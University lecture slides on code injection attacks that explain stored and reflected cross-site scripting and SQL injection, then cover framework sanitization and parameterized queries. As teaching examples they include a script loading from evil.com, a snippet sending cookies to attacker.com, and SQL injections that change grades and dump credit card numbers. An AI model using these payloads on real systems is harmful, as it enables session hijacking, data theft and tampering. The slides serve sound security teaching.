Code Injection Attacks

Mendel Rosenblum
Consider adding HTML comments to our Photo App

- Easy change:
  
  Rather than `{model.comment}` do `div.innerHTML = model.comment;`

- What happens if someone inputs a comment with a script tag?
  
  `<script src="http://www.evil.com/damage.js" />`

- Called a **Cross Site Scripting Attack (XSS)**
  
  Really unfortunate for us. Every user that views that photo/comments gets hurt. (consider following with a CSRF attack)
Stored Cross Site Scripting Attack

- Attacker stores attacking code in a victim Web server, where it gets accessed by victim clients. Call a **Stored Cross Site Scripting Attack**

- On previous generations of web frameworks was a major attack loophole
  - Lots of stuffing things into `innerHTML`, bad escape processing

- Less so on JavaScript frameworks
  - Care is taken before stuffing things into the DOM
Reflected Cross Site Scripting

- Attacker doesn't need to store attack on website, can just reflect it off the website. Call a **Reflected Cross Site Scripting Attack**

- Consider a website that shows the search term used (like our states view)
  - What happens if we store the search term in an `innerHTML` and an attacker tricks a user into searching for:
    
    ```html
    Justin Bieber
    <img style="display:none" id="cookieMonster">
    <script>
        img = document.getElementById("cookieMonster");
        img.src = "http://attacker.com?cookie=" +
            encodeURIComponent(document.cookie);
    </script>
    ```
Reflected Cross Site Scripting Attack

- How to get user to submit that URL? CSRF again:

- Step #1: lure user to attacker site:
  - Sponsored advertisement
  - Spam email
  - Facebook application

- Step #2: attacker HTML automatically loads the link in an invisible iframe
Modern JavaScript frameworks have better defences

- Angular bind-html - Sanitizes HTML to remove script, etc.
  
  `<div ng-bind-html="model.comment"></div>` --- Safe

- Must explicitly tell Angular if you don't want it sanitized
  
  `model.comment = $sce.trustAsHtml(model.comment)`

Strict Contextual Escaping (SCE)

- Effectively marks all the places you need to worry about

- ReactJS: No opinion -> half dozen options, google "reactjs sanitize html"
Code Inject on the Server
Request processing for get students of a specified advisor

```javascript
var advisorName = routeParam.advisorName;
var students = Student.find_by_sql(
    "SELECT students.* " +
    "FROM students, advisors " +
    "WHERE student.advisor_id = advisor.id " +
    "AND advisor.name = '' + advisorName + '''");
```

Called with `advisorName` of 'Jones'

```
SELECT students.* FROM students, advisors
    WHERE student.advisor_id = advisor.id
    AND advisor.name = 'Jones'
```
SQL Injection Attack - Update database

- What happens if the advisorName is:
  ```sql
  Jones'; UPDATE grades
  SET g.grade = 4.0
  FROM grades g, students s
  WHERE g.student_id = s.id
  AND s.name = 'Smith'
  ```

- The following query will be generated:
  ```sql
  SELECT students.* FROM students, advisors
  WHERE student.advisor_id = advisor.id
  AND advisor.name = 'Jones'; UPDATE grades
  SET g.grade = 4.0
  FROM grades g, students s
  WHERE g.student_id = s.id
  AND s.name = 'Smith'
  ```
SQL Injection

Injection can also be used to extract sensitive information

- Modify existing query to retrieve different information
- Stolen information appears in "normal" Web output
Consider a simple pizza company view order history
Order history query to SQL database

- Order history request processing:
  ```javascript
  var month = routeParam.month;
  var orders = Orders.find_by_sql(
    "SELECT pizza, toppings, quantity, date " +
    "FROM orders " +
    "WHERE user_id= " + user_id +
    "AND order_month= ' " + month + "'");
  ```

- Month parameter set to:
  ```sql
  October' AND 1=0
  UNION SELECT name as pizza, card_num as toppings,
            exp_mon as quantity, exp_year as date
  FROM credit_cards WHERE name != '
  ```
SQL Injection - Dump the database

SELECT pizza, toppings, quantity, date
    FROM orders
    WHERE user_id=94412
    AND order_month='October' AND 1=0
UNION SELECT name as pizza, card_num as toppings, 
    exp_mon as quantity, exp_year as date
    FROM credit_cards WHERE name != ''
Output the dump

```sql
Your Pizza Orders in October AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards
```
CardSystems hit by SQL injection attack

- CardSystems - Credit card payment processing company

  SQL injection attack in June 2005

  Did in the company

- The Attack:

  Credit card #s stored unencrypted

  263,000 credit card #s stolen from database

  43 million credit card #s exposed
Solutions

- Don't write SQL

```java
Student.findByAdvisorName(routeParam.advisorName);
```

- Use a framework that knows how to safely build SQL commands:

```java
Student.find_by_sql("SELECT students.* " +
    "FROM students, advisors " +
    "WHERE student.advisor_id = advisor.id " +
    "AND advisor.name = ?",
    routeParam.advisorName);
```